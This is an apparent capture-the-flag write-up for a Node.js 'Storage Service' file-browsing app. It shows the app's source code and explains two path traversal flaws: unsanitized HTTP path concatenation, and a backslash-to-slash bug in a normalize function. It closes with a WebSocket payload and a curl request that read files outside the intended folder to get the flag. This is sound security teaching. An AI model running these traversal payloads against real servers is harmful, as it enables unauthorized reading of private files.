---
# System prepended metadata

title: Storage Service

---

# Storage Service
:::warning
Copyrightⓒ2021 by CSTEC. All contents cannot be copied without permission.
:::
## Analysis
It is a web application developed in nodejs language that implements file browsing function.
```javascript
const express = require('express')
const ws = require('ws')
const app = express()
const __DIR = '/usr/src/app'

/* express */
app.set('views', __DIR + '/views');
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);

app.use(express.json())
app.use(express.urlencoded({ extended: true }))

const index = require(__DIR + '/route/index')

app.use(index)

/* WebSocket */
const server = new ws.Server({port: 3000})

const connection = require(__DIR + '/route/ws')
server.on('connection', connection)

app.listen(4423)
```
In the provided source code, you can see that the web server and websocket server are operating using two ports 3000 and 4423, respectively.

## Vulnerability
The first vulnerability exists in the web service implemented in the route/index.js file.
```javascript
router.get('/*', (req, res) => {
  if (req.params[0] === '') {
    res.render('index')
  } else {
    const path = './files/' + req.params[0]
    if (!fs.existsSync(path)) {
      res.status(403).send('<h1>403 Not Found.</h1>')
      return
    }

    if (fs.lstatSync(path).isDirectory()) {
      res.status(301).redirect('/')
      return
    }
    res.set('Content-Type', mime.lookup(path))
    res.sendFile(path, {root: '.'})
  }
})

module.exports = router
```
On line 5, the file path is read from the external input argument `req.params` variable. At this time, since there is no sanitize filter, a path traversal vulnerability occurs and files outside the `./files` path can be read.  
  
The second vulnerability exists in route/ws.js , which is a function of the websocket server. The module implements a function that returns a list of files based on external input.
You can get a list of files in the TARGET_PATH path based on an external input in the form `{'type':'dir', 'path':'TARGET_PATH'}`. At this time, the external input goes through a normalization process to prevent path traversal attacks.
```javascript
const normalize = path => {
  const startSlash = path.charAt(0) === '/'
  const parts = path.split('/')
  let res = []

  for (let i=0; i < parts.length; i++) {
    if (!parts[i] || parts[i] === '.') continue
    if (parts[i] === '..') {
      if (res.length && res[res.length - 1] !== '..') res.pop()
    } else res.push(parts[i])
  }

  res = res.join('/')

  if (!res && !startSlash) {
    res = '.'
  }
  if (res && path[path.length - 1] === '/') {
    res += '/'
  }

  return (startSlash ? '/' : '') + res.replace('\\', '/')
}
```
However, there is a weakness that a path traversal attack is possible through ``..\`` -> ``../`` conversion due to the function of replacing the \ string with a / string in the line 22 code.

## Exploit
```javascript
cli = new WebSocket('ws://target_server:3000')
cli.onmessage = (msg) => console.log(JSON.parse(msg.data))
cli.send(JSON.stringify({'type':'dir', 'path':'..\\'}))
```
```
curl http://target_server:4423/%2e%2e/FILE_NAME
```
It is possible to obtain a flag through the above two attacks, which each trigger two path traversal vulnerabilities.

## test